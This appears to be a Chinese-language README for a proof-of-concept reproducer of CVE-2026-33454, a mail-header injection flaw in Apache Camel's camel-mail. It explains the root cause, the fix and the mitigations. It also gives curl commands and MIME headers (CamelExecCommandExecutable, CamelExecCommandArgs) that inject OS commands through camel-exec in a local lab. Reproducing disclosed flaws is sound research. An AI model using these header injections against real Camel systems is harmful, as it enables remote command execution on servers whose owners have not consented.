
CVE-2026-33454 复现器:Apache Camel camel-mail 标头注入,通过 camel-exec 实现 RCE
本项目演示 Apache Camel 的 camel-mail 组件中一个 Camel 消息头注入 漏洞,跟踪编号为 CVE-2026-33454。攻击者若能向 Camel 邮件消费者所监听的邮箱投递邮件,即可将 Camel* 控制头注入 Exchange,当路由转发到诸如 camel-exec 之类的对头部敏感的生产者时,可实现 远程代码执行。
公告:https://camel.apache.org/security/CVE-2026-33454.html
| 属性 | 值 |
|---|---|
| 组件 | camel-mail |
| 受影响类 | org.apache.camel.component.mail.MailHeaderFilterStrategy(+ MailBinding.extractHeadersFromMail) |
| 根因 | 过滤器策略仅配置了 OUT 方向(setOutFilterStartsWith),而未配置 IN 方向,导致入站 MIME 头未经过滤 |
| CWE | CWE-20:输入验证不当(Camel 消息头注入) |
| 影响 | 远程代码执行(通过头部敏感的生产者,如 camel-exec) |
| 受影响版本 | 3.0.0 至 4.14.6 之前,以及 4.15.0 至 4.18.1 之前 |
| 修复版本 | 4.14.6、4.18.1、4.19.0 |
| JIRA | CAMEL-23222 |
| 报告者 | Hyunwoo Kim(@v4bel) |
MailHeaderFilterStrategy 继承自 DefaultHeaderFilterStrategy。在受影响版本中,其构造函数仅配置了 out 过滤器,从未设置 in 过滤器:
// MailHeaderFilterStrategy - 受影响版本(仅过滤 OUT 方向)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // 仅 OUT
// 没有 setInFilterStartsWith(...) -> 入站 Camel* 头不会被过滤
}
当 Camel 消费邮件时(例如 from("imap://...") 或 from("pop3://...")),
MailBinding.extractHeadersFromMail() 会将每个 MIME 头复制到 Exchange 的 In 头中,并由
headerFilterStrategy.applyFilterToExternalHeaders(...) 控制。由于 in 过滤器从未被配置,
以 Camel* 开头的 MIME 头会直接通过:
// MailBinding.extractHeadersFromMail() - in 过滤器未配置,因此 Camel* 可通过
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
因此,能够向被监听邮箱发送邮件的攻击者可以设置任意的 Camel* 控制头。
当路由转发到诸如 camel-exec 之类的头部敏感生产者时,
CamelExecCommandExecutable / CamelExecCommandArgs 头会覆盖命令(在受影响版本中默认生效)→ 任意操作系统命令执行。
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // 固定、无害的命令
.convertBodyTo(String.class);
一个 GreenMail 容器提供 SMTP(3025)和 IMAP(3143),并包含一个邮箱
(登录名 victim,密码 secret,地址 victim@localhost):
docker compose up -d
# 或者:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
启动 IMAP 受害路由以及一个运行在 8080 端口上的辅助 REST 控制器。
curl http://localhost:8080/exploit/normal
消费者会拾取该邮件并运行 echo hello。
# 默认正常证明:touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# 或自定义 executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
这封邮件的 MIME 头包含:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# 等待约 2 秒以等待 IMAP 轮询周期,然后:
ls -la /tmp/pwned
如果 /tmp/pwned 存在,说明注入的 MIME 头覆盖了 exec 命令 → RCE。
docker compose down # 或者:docker rm -f greenmail-cve
该注入只需要下游存在一个头部敏感的生产者。公告提及 camel-bean、camel-exec 和 camel-sql;更广泛地:
CamelExecCommandExecutable / CamelExecCommandArgs → 操作系统命令执行CamelFileName → 任意文件写入 / 路径遍历CamelBeanMethodName → 调用不同方法imap://、imaps://、pop3:// 等)。removeHeaders("Camel*")。攻击者只需要能够向被监听的邮箱发送邮件即可。
修复方案(CAMEL-23222)同时配置了入站过滤器:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // 现在入站方向也会被过滤
}
在升级之前:
from("imap:...") 之后紧接着使用 .removeHeaders("Camel*")。CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail 邮件服务器(SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot 入口点
│ ├── MailExecRoute.java # 易受攻击的受害路由(imap -> exec)
│ └── ExploitController.java # 攻击者:通过 SMTP 投递恶意邮件
└── resources/
└── application.properties
本复现工具仅用于 安全研究和授权测试,针对一个 已公开披露并修复 的漏洞。未经明确许可,请勿将其用于任何系统。